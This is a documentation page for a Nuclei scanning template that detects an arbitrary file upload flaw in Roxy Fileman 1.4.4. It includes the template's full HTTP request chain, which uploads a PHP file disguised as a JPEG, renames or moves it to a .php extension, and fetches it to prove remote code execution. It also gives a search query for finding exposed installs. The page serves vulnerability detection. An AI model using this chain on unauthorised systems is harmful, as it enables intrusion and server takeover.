Roxy Fileman 1.4.4 - Arbitrary File Upload
ID: roxyfileman-fileupload
Severity: high
Author: DhiyaneshDK
Tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive
Description
Section titled “Description”Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.
YAML Source
Section titled “YAML Source”id: roxyfileman-fileupload
info: name: Roxy Fileman 1.4.4 - Arbitrary File Upload author: DhiyaneshDK severity: high description: | Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks. reference: - https://www.exploit-db.com/exploits/39963 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cwe-id: CWE-434 metadata: verified: true max-request: 4 google-query: intitle:"Roxy file manager" tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive
http: - raw: - | POST /php/upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7
------WebKitFormBoundary6rbEqFAMRkE0RAB7 Content-Disposition: form-data; name="action"
upload ------WebKitFormBoundary6rbEqFAMRkE0RAB7 Content-Disposition: form-data; name="method"
ajax ------WebKitFormBoundary6rbEqFAMRkE0RAB7 Content-Disposition: form-data; name="d"
/app/Uploads ------WebKitFormBoundary6rbEqFAMRkE0RAB7 Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg" Content-Type: image/jpeg
<?php echo md5('roxyfileman-fileupload');unlink(__FILE__); ?>
------WebKitFormBoundary6rbEqFAMRkE0RAB7-- - | POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php - | POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php - | GET /Uploads/{{randstr}}.php HTTP/1.1 Host: {{Hostname}}
host-redirects: true max-redirects: 2
matchers-condition: and matchers: - type: regex part: body regex: - "99acb46eabd01958e22fae1792e83ca9"
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a00473045022100f1dd983b073c38040f2465fa20d718e83c48206c4a0b7b48c528e1984452b11302200e2ae12221af6615173dd3e50b232cc4a3b94db3b6d01cbba89c949fc12ba2f5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/misconfiguration/roxyfileman-fileupload.yaml"